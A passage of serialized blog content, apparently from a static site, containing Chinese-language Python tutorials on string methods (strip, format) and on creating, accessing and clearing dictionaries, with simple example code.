string.upper()\n",[94155],{"type":18,"tag":74,"props":94156,"children":94157},{"__ignoreMap":8},[94158],{"type":18,"tag":297,"props":94159,"children":94160},{"class":299,"line":300},[94161],{"type":18,"tag":297,"props":94162,"children":94163},{},[94164],{"type":24,"value":94153},{"type":18,"tag":337,"props":94166,"children":94168},{"id":94167},"去除空格和特殊字符",[94169],{"type":24,"value":94167},{"type":18,"tag":34,"props":94171,"children":94172},{},[94173,94179],{"type":18,"tag":74,"props":94174,"children":94176},{"className":94175},[],[94177],{"type":24,"value":94178},"strip()",{"type":24,"value":94180},"方法用于去掉字符串左、右两侧的空格和特殊字符，其语法格式如下：",{"type":18,"tag":287,"props":94182,"children":94184},{"code":94183,"language":28712,"meta":8,"className":28710,"style":8},"string.strip([char])\n",[94185],{"type":18,"tag":74,"props":94186,"children":94187},{"__ignoreMap":8},[94188],{"type":18,"tag":297,"props":94189,"children":94190},{"class":299,"line":300},[94191],{"type":18,"tag":297,"props":94192,"children":94193},{},[94194],{"type":24,"value":94183},{"type":18,"tag":34,"props":94196,"children":94197},{},[94198,94204],{"type":18,"tag":74,"props":94199,"children":94201},{"className":94200},[],[94202],{"type":24,"value":94203},"char",{"type":24,"value":94205},"：可选参数，用于指定要去除的字符，可以指定多个。默认将去除空格、制表符\\t、Enter符\\r、换行符\\n等。",{"type":18,"tag":34,"props":94207,"children":94208},{},[94209,94215],{"type":18,"tag":74,"props":94210,"children":94212},{"className":94211},[],[94213],{"type":24,"value":94214},"lstrip()",{"type":24,"value":94216},"方法用于去掉字符串左侧的空格和特殊字符，其语法格式如下：",{"type":18,"tag":287,"props":94218,"children":94220},{"code":94219,"language":28712,"meta":8,"className":28710,"style":8},"string.lstrip([char])\n",[94221],{"type":18,"tag":74,"props":94222,"children":94223},{"__ignoreMap":8},[94224],{"type":18,"tag":297,"props":94225,"children":94226},{"class":299,"line":300},[94227],{"type":18,"tag":297,"props":94228,"children":94229},{},[94230],{"type":24,"value":94219},{"type":18,"tag":34,"props":94232,"children":94233},{},[94234,94240],{"type":18,"tag":74,"props":94235,"children":94237},{"className":94236},[],[94238],{"type":24,"value":94239},"rstrip()",{"type":24,"value":94241},"方法用于去掉字符串右侧的空格和特殊字符，其语法格式如下：",{"type":18,"tag":287,"props":94243,"children":94245},{"code":94244,"language":28712,"meta":8,"className":28710,"style":8},"string.rstrip([char])\n",[94246],{"type":18,"tag":74,"props":94247,"children":94248},{"__ignoreMap":8},[94249],{"type":18,"tag":297,"props":94250,"children":94251},{"class":299,"line":300},[94252],{"type":18,"tag":297,"props":94253,"children":94254},{},[94255],{"type":24,"value":94244},{"type":18,"tag":337,"props":94257,"children":94259},{"id":94258},"格式化字符串",[94260],{"type":24,"value":94258},{"type":18,"tag":34,"props":94262,"children":94263},{},[94264],{"type":24,"value":94265},"格式化字符串好比制作一个模板，在模板中预留几个位置，然后更具需求填入内容，这些空位需要指定的符号（占位符）进行标记，而这些符号将不会被显示。格式化字符串的方式有两种，分别是：",{"type":18,"tag":210,"props":94267,"children":94268},{},[94269,94281],{"type":18,"tag":158,"props":94270,"children":94271},{},[94272,94273,94279],{"type":24,"value":35582},{"type":18,"tag":74,"props":94274,"children":94276},{"className":94275},[],[94277],{"type":24,"value":94278},"%",{"type":24,"value":94280},"操作符",{"type":18,"tag":158,"props":94282,"children":94283},{},[94284,94286,94291],{"type":24,"value":94285},"使用字符串对象的",{"type":18,"tag":74,"props":94287,"children":94289},{"className":94288},[],[94290],{"type":24,"value":64161},{"type":24,"value":94292},"方法（重点）",{"type":18,"tag":34,"props":94294,"children":94295},{},[94296,94298,94303],{"type":24,"value":94297},"字符串提供了",{"type":18,"tag":74,"props":94299,"children":94301},{"className":94300},[],[94302],{"type":24,"value":64161},{"type":24,"value":94304},"方法对字符串进行格式化，其语法格式如下：",{"type":18,"tag":287,"props":94306,"children":94308},{"code":94307,"language":28712,"meta":8,"className":28710,"style":8},"string.format(args)\n",[94309],{"type":18,"tag":74,"props":94310,"children":94311},{"__ignoreMap":8},[94312],{"type":18,"tag":297,"props":94313,"children":94314},{"class":299,"line":300},[94315],{"type":18,"tag":297,"props":94316,"children":94317},{},[94318],{"type":24,"value":94307},{"type":18,"tag":34,"props":94320,"children":94321},{},[94322,94327,94329,94335,94337,94343,94344,94349],{"type":18,"tag":74,"props":94323,"children":94325},{"className":94324},[],[94326],{"type":24,"value":30473},{"type":24,"value":94328},"用于指定字符串的显示样式（模板）；",{"type":18,"tag":74,"props":94330,"children":94332},{"className":94331},[],[94333],{"type":24,"value":94334},"arg",{"type":24,"value":94336},"用于指定要转换的项，若有多项，则用逗号进行分割。在创建模板时，需要使用",{"type":18,"tag":74,"props":94338,"children":94340},{"className":94339},[],[94341],{"type":24,"value":94342},"{}",{"type":24,"value":10315},{"type":18,"tag":74,"props":94345,"children":94347},{"className":94346},[],[94348],{"type":24,"value":24972},{"type":24,"value":94350},"指定占位符，基本语法格式如下：",{"type":18,"tag":287,"props":94352,"children":94354},{"code":94353},"{[index][:[[fill]align][#][width][.precision][type]]}\n",[94355],{"type":18,"tag":74,"props":94356,"children":94357},{"__ignoreMap":8},[94358],{"type":24,"value":94353},{"type":18,"tag":210,"props":94360,"children":94361},{},[94362,94382,94400,94461,94480,94501,94519,94537],{"type":18,"tag":158,"props":94363,"children":94364},{},[94365,94373,94375,94380],{"type":18,"tag":105,"props":94366,"children":94367},{},[94368],{"type":18,"tag":74,"props":94369,"children":94371},{"className":94370},[],[94372],{"type":24,"value":19834},{"type":24,"value":94374},"：可选参数，用于指定",{"type":18,"tag":105,"props":94376,"children":94377},{},[94378],{"type":24,"value":94379},"要设置格式的对象在参数列表中的索引位置",{"type":24,"value":94381},"，索引值从0开始，如果省略，则根据值的先后顺序进行自动分配。",{"type":18,"tag":158,"props":94383,"children":94384},{},[94385,94394,94395],{"type":18,"tag":105,"props":94386,"children":94387},{},[94388],{"type":18,"tag":74,"props":94389,"children":94391},{"className":94390},[],[94392],{"type":24,"value":94393},"fill",{"type":24,"value":94374},{"type":18,"tag":105,"props":94396,"children":94397},{},[94398],{"type":24,"value":94399},"空白处填充的字符",{"type":18,"tag":158,"props":94401,"children":94402},{},[94403,94412,94413,94418,94420,94425,94427,94432,94434,94439,94441,94446,94448,94460],{"type":18,"tag":105,"props":94404,"children":94405},{},[94406],{"type":18,"tag":74,"props":94407,"children":94409},{"className":94408},[],[94410],{"type":24,"value":94411},"align",{"type":24,"value":94374},{"type":18,"tag":105,"props":94414,"children":94415},{},[94416],{"type":24,"value":94417},"对齐的方式",{"type":24,"value":94419},"。该参数的值为",{"type":18,"tag":74,"props":94421,"children":94423},{"className":94422},[],[94424],{"type":24,"value":11217},{"type":24,"value":94426},"时，表示内容（包括符号）右对齐；值为",{"type":18,"tag":74,"props":94428,"children":94430},{"className":94429},[],[94431],{"type":24,"value":319},{"type":24,"value":94433},"时，表示内容左对齐；值为",{"type":18,"tag":74,"props":94435,"children":94437},{"className":94436},[],[94438],{"type":24,"value":9692},{"type":24,"value":94440},"时，只对数字类型生效，表示数字内容右对齐，如果是负数，则将负号放在填充内容的左侧，如果是正数，不添加符号；值为",{"type":18,"tag":74,"props":94442,"children":94444},{"className":94443},[],[94445],{"type":24,"value":84392},{"type":24,"value":94447},"时，表示内容居中。该参数",{"type":18,"tag":105,"props":94449,"children":94450},{},[94451,94453,94458],{"type":24,"value":94452},"需要配合",{"type":18,"tag":74,"props":94454,"children":94456},{"className":94455},[],[94457],{"type":24,"value":11352},{"type":24,"value":94459},"一起使用",{"type":24,"value":111},{"type":18,"tag":158,"props":94462,"children":94463},{},[94464,94472,94473,94478],{"type":18,"tag":105,"props":94465,"children":94466},{},[94467],{"type":18,"tag":74,"props":94468,"children":94470},{"className":94469},[],[94471],{"type":24,"value":39032},{"type":24,"value":94374},{"type":18,"tag":105,"props":94474,"children":94475},{},[94476],{"type":24,"value":94477},"有无符号数",{"type":24,"value":94479},"（值为“+”表示正数加正号，负数加负号；值为“-”表示正数不变，负数加负号；值为空格表示正数加空格，负数加负号）。",{"type":18,"tag":158,"props":94481,"children":94482},{},[94483,94492,94494,94499],{"type":18,"tag":105,"props":94484,"children":94485},{},[94486],{"type":18,"tag":74,"props":94487,"children":94489},{"className":94488},[],[94490],{"type":24,"value":94491},"#",{"type":24,"value":94493},"：可选参数，对于二进制、八进制和十六进制，如果加上“#”，表示会",{"type":18,"tag":105,"props":94495,"children":94496},{},[94497],{"type":24,"value":94498},"显示0b\u002F0o\u002F0x前缀",{"type":24,"value":94500},"，否则不显示。",{"type":18,"tag":158,"props":94502,"children":94503},{},[94504,94512,94514],{"type":18,"tag":105,"props":94505,"children":94506},{},[94507],{"type":18,"tag":74,"props":94508,"children":94510},{"className":94509},[],[94511],{"type":24,"value":11352},{"type":24,"value":94513},"：可选参数，用于",{"type":18,"tag":105,"props":94515,"children":94516},{},[94517],{"type":24,"value":94518},"指定所占宽度",{"type":18,"tag":158,"props":94520,"children":94521},{},[94522,94531,94532],{"type":18,"tag":105,"props":94523,"children":94524},{},[94525],{"type":18,"tag":74,"props":94526,"children":94528},{"className":94527},[],[94529],{"type":24,"value":94530},".precision",{"type":24,"value":94374},{"type":18,"tag":105,"props":94533,"children":94534},{},[94535],{"type":24,"value":94536},"保留的小数位数",{"type":18,"tag":158,"props":94538,"children":94539},{},[94540,94548,94549,94554],{"type":18,"tag":105,"props":94541,"children":94542},{},[94543],{"type":18,"tag":74,"props":94544,"children":94546},{"className":94545},[],[94547],{"type":24,"value":12163},{"type":24,"value":94513},{"type":18,"tag":105,"props":94550,"children":94551},{},[94552],{"type":24,"value":94553},"指定类型",{"type":24,"value":94555},"，取值如下表所示：",{"type":18,"tag":431,"props":94557,"children":94558},{},[94559,94582],{"type":18,"tag":435,"props":94560,"children":94561},{},[94562],{"type":18,"tag":439,"props":94563,"children":94564},{},[94565,94570,94574,94578],{"type":18,"tag":443,"props":94566,"children":94567},{"align":3465},[94568],{"type":24,"value":94569},"格式字符",{"type":18,"tag":443,"props":94571,"children":94572},{"align":3465},[94573],{"type":24,"value":843},{"type":18,"tag":443,"props":94575,"children":94576},{"align":3465},[94577],{"type":24,"value":94569},{"type":18,"tag":443,"props":94579,"children":94580},{"align":3465},[94581],{"type":24,"value":843},{"type":18,"tag":459,"props":94583,"children":94584},{},[94585,94607,94630,94653,94676],{"type":18,"tag":439,"props":94586,"children":94587},{},[94588,94593,94598,94602],{"type":18,"tag":466,"props":94589,"children":94590},{"align":3465},[94591],{"type":24,"value":94592},"S",{"type":18,"tag":466,"props":94594,"children":94595},{"align":3465},[94596],{"type":24,"value":94597},"对字符串类型进行格式化",{"type":18,"tag":466,"props":94599,"children":94600},{"align":3465},[94601],{"type":24,"value":17356},{"type":18,"tag":466,"props":94603,"children":94604},{"align":3465},[94605],{"type":24,"value":94606},"将十进制整数自动转换成二进制表示，并对其进行格式化",{"type":18,"tag":439,"props":94608,"children":94609},{},[94610,94615,94620,94625],{"type":18,"tag":466,"props":94611,"children":94612},{"align":3465},[94613],{"type":24,"value":94614},"D",{"type":18,"tag":466,"props":94616,"children":94617},{"align":3465},[94618],{"type":24,"value":94619},"十进制整数",{"type":18,"tag":466,"props":94621,"children":94622},{"align":3465},[94623],{"type":24,"value":94624},"o",{"type":18,"tag":466,"props":94626,"children":94627},{"align":3465},[94628],{"type":24,"value":94629},"将十进制整数自动转换成八进制表示，并对其进行格式化",{"type":18,"tag":439,"props":94631,"children":94632},{},[94633,94638,94643,94648],{"type":18,"tag":466,"props":94634,"children":94635},{"align":3465},[94636],{"type":24,"value":94637},"C",{"type":18,"tag":466,"props":94639,"children":94640},{"align":3465},[94641],{"type":24,"value":94642},"将十进制整数自动转换成对应的Unicode字符",{"type":18,"tag":466,"props":94644,"children":94645},{"align":3465},[94646],{"type":24,"value":94647},"x或者X",{"type":18,"tag":466,"props":94649,"children":94650},{"align":3465},[94651],{"type":24,"value":94652},"将十进制整数自动转换成十六进制表示，并对其进行格式化",{"type":18,"tag":439,"props":94654,"children":94655},{},[94656,94661,94666,94671],{"type":18,"tag":466,"props":94657,"children":94658},{"align":3465},[94659],{"type":24,"value":94660},"e或者E",{"type":18,"tag":466,"props":94662,"children":94663},{"align":3465},[94664],{"type":24,"value":94665},"转换为科学计数法表示再格式化",{"type":18,"tag":466,"props":94667,"children":94668},{"align":3465},[94669],{"type":24,"value":94670},"f或者F",{"type":18,"tag":466,"props":94672,"children":94673},{"align":3465},[94674],{"type":24,"value":94675},"转换为浮点数（默认小数点后保留6位），并对其进行格式化",{"type":18,"tag":439,"props":94677,"children":94678},{},[94679,94684,94689,94693],{"type":18,"tag":466,"props":94680,"children":94681},{"align":3465},[94682],{"type":24,"value":94683},"g或者G",{"type":18,"tag":466,"props":94685,"children":94686},{"align":3465},[94687],{"type":24,"value":94688},"自动在e和f，或者E和F之间进行切换",{"type":18,"tag":466,"props":94690,"children":94691},{"align":3465},[94692],{"type":24,"value":94278},{"type":18,"tag":466,"props":94694,"children":94695},{"align":3465},[94696],{"type":24,"value":94697},"显示百分比（默认显示小数点后6位）",{"type":18,"tag":34,"props":94699,"children":94700},{},[94701],{"type":24,"value":94702},"示例代码如下：",{"type":18,"tag":287,"props":94704,"children":94706},{"code":94705,"language":28712,"meta":8,"className":28710,"style":8},"temp = '编号：{:0>5s}\\t姓名：{:s}\\t年龄：{:d}\\t'  \ndic = {'小王':18, '小张':20, '小兰':19}  \nn=0  \nfor key,value in dic.items():  \n    n += 1  \n    print(temp.format(str(n), key, value))\n",[94707],{"type":18,"tag":74,"props":94708,"children":94709},{"__ignoreMap":8},[94710,94718,94726,94734,94742,94750],{"type":18,"tag":297,"props":94711,"children":94712},{"class":299,"line":300},[94713],{"type":18,"tag":297,"props":94714,"children":94715},{},[94716],{"type":24,"value":94717},"temp = '编号：{:0>5s}\\t姓名：{:s}\\t年龄：{:d}\\t'  \n",{"type":18,"tag":297,"props":94719,"children":94720},{"class":299,"line":657},[94721],{"type":18,"tag":297,"props":94722,"children":94723},{},[94724],{"type":24,"value":94725},"dic = {'小王':18, '小张':20, '小兰':19}  \n",{"type":18,"tag":297,"props":94727,"children":94728},{"class":299,"line":662},[94729],{"type":18,"tag":297,"props":94730,"children":94731},{},[94732],{"type":24,"value":94733},"n=0  \n",{"type":18,"tag":297,"props":94735,"children":94736},{"class":299,"line":799},[94737],{"type":18,"tag":297,"props":94738,"children":94739},{},[94740],{"type":24,"value":94741},"for key,value in dic.items():  \n",{"type":18,"tag":297,"props":94743,"children":94744},{"class":299,"line":808},[94745],{"type":18,"tag":297,"props":94746,"children":94747},{},[94748],{"type":24,"value":94749},"    n += 1  \n",{"type":18,"tag":297,"props":94751,"children":94752},{"class":299,"line":817},[94753],{"type":18,"tag":297,"props":94754,"children":94755},{},[94756],{"type":24,"value":94757},"    print(temp.format(str(n), key, value))\n",{"type":18,"tag":34,"props":94759,"children":94760},{},[94761],{"type":24,"value":94762},"上述代码的输出结果是：",{"type":18,"tag":287,"props":94764,"children":94766},{"code":94765},"编号：00001    姓名：小王   年龄：18   \n编号：00002    姓名：小张   年龄：20   \n编号：00003    姓名：小兰   年龄：19\n",[94767],{"type":18,"tag":74,"props":94768,"children":94769},{"__ignoreMap":8},[94770],{"type":24,"value":94765},{"type":18,"tag":651,"props":94772,"children":94773},{},[94774],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":94776},[94777,94778],{"id":92889,"depth":662,"text":92889},{"id":93349,"depth":662,"text":93349},"content:blog:2025-07-06-python-字符串.md","blog\u002F2025-07-06-python-字符串.md","blog\u002F2025-07-06-python-字符串",{"_path":94783,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":94784,"description":94785,"date":94786,"tags":94787,"body":94788,"_type":672,"_id":96411,"_source":674,"_file":96412,"_stem":96413,"_extension":677},"\u002Fblog\u002F2025-07-05-python","Python-字典和集合","Python字典与集合详解：键值对操作、集合运算、推导式与常用方法。","2025-07-05",[28616,75509],{"type":15,"children":94789,"toc":96407},[94790,94793,94799,94804,94832,94837,94856,94870,94880,94903,94959,94973,94997,95020,95055,95094,95119,95158,95163,95175,95189,95217,95243,95304,95309,95322,95421,95426,95523,95553,95559,95577,95591,95599,95631,95670,95786,95801,95806,95811,95837,95851,95861,95875,95881,95893,95917,95922,95934,95948,95956,95968,95991,96014,96019,96037,96060,96098,96145,96181,96187,96257,96262,96403],{"type":18,"tag":121,"props":94791,"children":94792},{},[],{"type":18,"tag":27,"props":94794,"children":94796},{"id":94795},"字典dictionary",[94797],{"type":24,"value":94798},"字典（dictionary）",{"type":18,"tag":34,"props":94800,"children":94801},{},[94802],{"type":24,"value":94803},"字典（dictionary）是无序的、可变的，其内容是“键值对”的形式存储的，其中键是唯一的，而值可以有多个。字典的主要特点如下：",{"type":18,"tag":210,"props":94805,"children":94806},{},[94807,94812,94817,94822,94827],{"type":18,"tag":158,"props":94808,"children":94809},{},[94810],{"type":24,"value":94811},"字典是通过键而不是通过索引来读取的",{"type":18,"tag":158,"props":94813,"children":94814},{},[94815],{"type":24,"value":94816},"字典是任意对象的无序集合，各项随机排序",{"type":18,"tag":158,"props":94818,"children":94819},{},[94820],{"type":24,"value":94821},"字典是可变的，并且可以任意嵌套",{"type":18,"tag":158,"props":94823,"children":94824},{},[94825],{"type":24,"value":94826},"字典中的键必须唯一",{"type":18,"tag":158,"props":94828,"children":94829},{},[94830],{"type":24,"value":94831},"字典中的键必须不可变",{"type":18,"tag":337,"props":94833,"children":94835},{"id":94834},"字典的创建和删除",[94836],{"type":24,"value":94834},{"type":18,"tag":34,"props":94838,"children":94839},{},[94840,94842,94847,94849,94854],{"type":24,"value":94841},"字典中的键和值是通过",{"type":18,"tag":74,"props":94843,"children":94845},{"className":94844},[],[94846],{"type":24,"value":24972},{"type":24,"value":94848},"进行分割，每相邻两个键值对之间都是以逗号分割，将所有元素放在一个大括号",{"type":18,"tag":74,"props":94850,"children":94852},{"className":94851},[],[94853],{"type":24,"value":94342},{"type":24,"value":94855},"中，其语法格式如下：",{"type":18,"tag":287,"props":94857,"children":94859},{"className":28710,"code":94858,"language":28712,"meta":8,"style":8},"dic = {'key_1':'value_1','key_2':'value_2',...,'key_n':'value_n'}\n",[94860],{"type":18,"tag":74,"props":94861,"children":94862},{"__ignoreMap":8},[94863],{"type":18,"tag":297,"props":94864,"children":94865},{"class":299,"line":300},[94866],{"type":18,"tag":297,"props":94867,"children":94868},{},[94869],{"type":24,"value":94858},{"type":18,"tag":34,"props":94871,"children":94872},{},[94873,94878],{"type":18,"tag":105,"props":94874,"children":94875},{},[94876],{"type":24,"value":94877},"创建空字典",{"type":24,"value":94879},"：同列表和元组一样，两种语法结构如下所示：",{"type":18,"tag":287,"props":94881,"children":94883},{"className":28710,"code":94882,"language":28712,"meta":8,"style":8},"dict_1 = {}\ndict_2 = dict()\n",[94884],{"type":18,"tag":74,"props":94885,"children":94886},{"__ignoreMap":8},[94887,94895],{"type":18,"tag":297,"props":94888,"children":94889},{"class":299,"line":300},[94890],{"type":18,"tag":297,"props":94891,"children":94892},{},[94893],{"type":24,"value":94894},"dict_1 = {}\n",{"type":18,"tag":297,"props":94896,"children":94897},{"class":299,"line":657},[94898],{"type":18,"tag":297,"props":94899,"children":94900},{},[94901],{"type":24,"value":94902},"dict_2 = dict()\n",{"type":18,"tag":34,"props":94904,"children":94905},{},[94906,94911,94913,94919,94921,94927,94928,94934,94935,94941,94943,94949,94951,94957],{"type":18,"tag":105,"props":94907,"children":94908},{},[94909],{"type":24,"value":94910},"通过映射函数创建字典",{"type":24,"value":94912},"：内置的",{"type":18,"tag":74,"props":94914,"children":94916},{"className":94915},[],[94917],{"type":24,"value":94918},"zip(list1,list2)",{"type":24,"value":94920},"函数可以将列表或元组对应的位置元素组合为元组，并返回包含这些内容的zip对象，该zip对象可以通过",{"type":18,"tag":74,"props":94922,"children":94924},{"className":94923},[],[94925],{"type":24,"value":94926},"list()",{"type":24,"value":1942},{"type":18,"tag":74,"props":94929,"children":94931},{"className":94930},[],[94932],{"type":24,"value":94933},"tuple()",{"type":24,"value":28447},{"type":18,"tag":74,"props":94936,"children":94938},{"className":94937},[],[94939],{"type":24,"value":94940},"dict()",{"type":24,"value":94942},"转换为需要的类型，",{"type":18,"tag":74,"props":94944,"children":94946},{"className":94945},[],[94947],{"type":24,"value":94948},"list1",{"type":24,"value":94950},"在字典中属于键，",{"type":18,"tag":74,"props":94952,"children":94954},{"className":94953},[],[94955],{"type":24,"value":94956},"list2",{"type":24,"value":94958},"在字典中属于值，语法格式如下：",{"type":18,"tag":287,"props":94960,"children":94962},{"className":28710,"code":94961,"language":28712,"meta":8,"style":8},"dictname = dict(zip(list1,list2))\n",[94963],{"type":18,"tag":74,"props":94964,"children":94965},{"__ignoreMap":8},[94966],{"type":18,"tag":297,"props":94967,"children":94968},{"class":299,"line":300},[94969],{"type":18,"tag":297,"props":94970,"children":94971},{},[94972],{"type":24,"value":94961},{"type":18,"tag":34,"props":94974,"children":94975},{},[94976,94981,94982,94987,94989,94995],{"type":18,"tag":105,"props":94977,"children":94978},{},[94979],{"type":24,"value":94980},"通过给定的“键值对”创建字典",{"type":24,"value":222},{"type":18,"tag":74,"props":94983,"children":94985},{"className":94984},[],[94986],{"type":24,"value":19850},{"type":24,"value":94988},"必须唯一且不可变，该参数可以是字符串、数字或元组；",{"type":18,"tag":74,"props":94990,"children":94992},{"className":94991},[],[94993],{"type":24,"value":94994},"value",{"type":24,"value":94996},"表示值，是任意的。示例如下：",{"type":18,"tag":287,"props":94998,"children":95000},{"className":28710,"code":94999,"language":28712,"meta":8,"style":8},"dic = {\"name\":\"Couioly\",\"age\":19,\"address\":\"TianJin\"}\nprint(dic)\n",[95001],{"type":18,"tag":74,"props":95002,"children":95003},{"__ignoreMap":8},[95004,95012],{"type":18,"tag":297,"props":95005,"children":95006},{"class":299,"line":300},[95007],{"type":18,"tag":297,"props":95008,"children":95009},{},[95010],{"type":24,"value":95011},"dic = {\"name\":\"Couioly\",\"age\":19,\"address\":\"TianJin\"}\n",{"type":18,"tag":297,"props":95013,"children":95014},{"class":299,"line":657},[95015],{"type":18,"tag":297,"props":95016,"children":95017},{},[95018],{"type":24,"value":95019},"print(dic)\n",{"type":18,"tag":34,"props":95021,"children":95022},{},[95023,95025,95031,95032,95038,95040,95046,95048,95053],{"type":24,"value":95024},"Python中还可以使用",{"type":18,"tag":74,"props":95026,"children":95028},{"className":95027},[],[95029],{"type":24,"value":95030},"dict",{"type":24,"value":60508},{"type":18,"tag":74,"props":95033,"children":95035},{"className":95034},[],[95036],{"type":24,"value":95037},"fromkeys(lis)",{"type":24,"value":95039},"方法创建键为",{"type":18,"tag":74,"props":95041,"children":95043},{"className":95042},[],[95044],{"type":24,"value":95045},"lis",{"type":24,"value":95047},"列表而值为",{"type":18,"tag":74,"props":95049,"children":95051},{"className":95050},[],[95052],{"type":24,"value":2496},{"type":24,"value":95054},"的字典，语法格式如下：",{"type":18,"tag":287,"props":95056,"children":95058},{"className":28710,"code":95057,"language":28712,"meta":8,"style":8},"lis = [\"Wang\",\"Li\",\"Xiao\",\"Du\"]\ndictname = dict.fromkeys(lis)\nprint(dictname)\n\"\"\"输出结果为：{'Wang': None, 'Li': None, 'Xiao': None, 'Du': None}\"\"\"\n",[95059],{"type":18,"tag":74,"props":95060,"children":95061},{"__ignoreMap":8},[95062,95070,95078,95086],{"type":18,"tag":297,"props":95063,"children":95064},{"class":299,"line":300},[95065],{"type":18,"tag":297,"props":95066,"children":95067},{},[95068],{"type":24,"value":95069},"lis = [\"Wang\",\"Li\",\"Xiao\",\"Du\"]\n",{"type":18,"tag":297,"props":95071,"children":95072},{"class":299,"line":657},[95073],{"type":18,"tag":297,"props":95074,"children":95075},{},[95076],{"type":24,"value":95077},"dictname = dict.fromkeys(lis)\n",{"type":18,"tag":297,"props":95079,"children":95080},{"class":299,"line":662},[95081],{"type":18,"tag":297,"props":95082,"children":95083},{},[95084],{"type":24,"value":95085},"print(dictname)\n",{"type":18,"tag":297,"props":95087,"children":95088},{"class":299,"line":799},[95089],{"type":18,"tag":297,"props":95090,"children":95091},{},[95092],{"type":24,"value":95093},"\"\"\"输出结果为：{'Wang': None, 'Li': None, 'Xiao': None, 'Du': None}\"\"\"\n",{"type":18,"tag":34,"props":95095,"children":95096},{},[95097,95102,95104,95110,95112,95117],{"type":18,"tag":105,"props":95098,"children":95099},{},[95100],{"type":24,"value":95101},"删除字典",{"type":24,"value":95103},"：同列表或元组一样，使用",{"type":18,"tag":74,"props":95105,"children":95107},{"className":95106},[],[95108],{"type":24,"value":95109},"del",{"type":24,"value":95111},"关键字删除字典对象；若要删除字典的所有元素，则可以使用字典的",{"type":18,"tag":74,"props":95113,"children":95115},{"className":95114},[],[95116],{"type":24,"value":51336},{"type":24,"value":95118},"方法。",{"type":18,"tag":287,"props":95120,"children":95122},{"className":28710,"code":95121,"language":28712,"meta":8,"style":8},"'''删除字典'''\ndel dictname\n'''清空字典'''\ndictname.clear()\n",[95123],{"type":18,"tag":74,"props":95124,"children":95125},{"__ignoreMap":8},[95126,95134,95142,95150],{"type":18,"tag":297,"props":95127,"children":95128},{"class":299,"line":300},[95129],{"type":18,"tag":297,"props":95130,"children":95131},{},[95132],{"type":24,"value":95133},"'''删除字典'''\n",{"type":18,"tag":297,"props":95135,"children":95136},{"class":299,"line":657},[95137],{"type":18,"tag":297,"props":95138,"children":95139},{},[95140],{"type":24,"value":95141},"del dictname\n",{"type":18,"tag":297,"props":95143,"children":95144},{"class":299,"line":662},[95145],{"type":18,"tag":297,"props":95146,"children":95147},{},[95148],{"type":24,"value":95149},"'''清空字典'''\n",{"type":18,"tag":297,"props":95151,"children":95152},{"class":299,"line":799},[95153],{"type":18,"tag":297,"props":95154,"children":95155},{},[95156],{"type":24,"value":95157},"dictname.clear()\n",{"type":18,"tag":337,"props":95159,"children":95161},{"id":95160},"访问字典",[95162],{"type":24,"value":95160},{"type":18,"tag":34,"props":95164,"children":95165},{},[95166,95168,95173],{"type":24,"value":95167},"若要查看字典的所有内容，则可以使用",{"type":18,"tag":74,"props":95169,"children":95171},{"className":95170},[],[95172],{"type":24,"value":34598},{"type":24,"value":95174},"函数。然而，对于字典而言，我们经常用到的是通过指定键得到相应的结果，语法如下：",{"type":18,"tag":287,"props":95176,"children":95178},{"className":28710,"code":95177,"language":28712,"meta":8,"style":8},"print(dictname[key]) # 将会输出key对应的value\n",[95179],{"type":18,"tag":74,"props":95180,"children":95181},{"__ignoreMap":8},[95182],{"type":18,"tag":297,"props":95183,"children":95184},{"class":299,"line":300},[95185],{"type":18,"tag":297,"props":95186,"children":95187},{},[95188],{"type":24,"value":95177},{"type":18,"tag":96,"props":95190,"children":95191},{},[95192],{"type":18,"tag":34,"props":95193,"children":95194},{},[95195,95197,95202,95204,95209,95211],{"type":24,"value":95196},"当使用",{"type":18,"tag":74,"props":95198,"children":95200},{"className":95199},[],[95201],{"type":24,"value":19850},{"type":24,"value":95203},"访问字典时，当键不存在将会抛出异常，因此在访问字典时可以添加",{"type":18,"tag":74,"props":95205,"children":95207},{"className":95206},[],[95208],{"type":24,"value":16236},{"type":24,"value":95210},"语句避免抛出异常，例如：",{"type":18,"tag":74,"props":95212,"children":95214},{"className":95213},[],[95215],{"type":24,"value":95216},"print(dictname['key'] if 'key' in dictname else '未找到')",{"type":18,"tag":34,"props":95218,"children":95219},{},[95220,95222,95228,95230,95235,95237,95242],{"type":24,"value":95221},"除此之外，获取字典元素Python推荐使用的方法是",{"type":18,"tag":74,"props":95223,"children":95225},{"className":95224},[],[95226],{"type":24,"value":95227},"get()",{"type":24,"value":95229},"方法，",{"type":18,"tag":74,"props":95231,"children":95233},{"className":95232},[],[95234],{"type":24,"value":30532},{"type":24,"value":95236},"是可选项，用于指定的键不存在时，返回的一个默认值，若省略，则默认为",{"type":18,"tag":74,"props":95238,"children":95240},{"className":95239},[],[95241],{"type":24,"value":2496},{"type":24,"value":93112},{"type":18,"tag":287,"props":95244,"children":95246},{"className":28710,"code":95245,"language":28712,"meta":8,"style":8},"# 语法： dictname.get(key[,default])\ndictname = {'key1': 'value1','key2': 'value2','key3': 'value3','key4': 'value4'}\n\nprint(dictname.get('key3','未找到'))\nprint(dictname.get('key5','未找到'))\n\n'''输出结果为：value3 未找到'''\n",[95247],{"type":18,"tag":74,"props":95248,"children":95249},{"__ignoreMap":8},[95250,95258,95266,95273,95281,95289,95296],{"type":18,"tag":297,"props":95251,"children":95252},{"class":299,"line":300},[95253],{"type":18,"tag":297,"props":95254,"children":95255},{},[95256],{"type":24,"value":95257},"# 语法： dictname.get(key[,default])\n",{"type":18,"tag":297,"props":95259,"children":95260},{"class":299,"line":657},[95261],{"type":18,"tag":297,"props":95262,"children":95263},{},[95264],{"type":24,"value":95265},"dictname = {'key1': 'value1','key2': 'value2','key3': 'value3','key4': 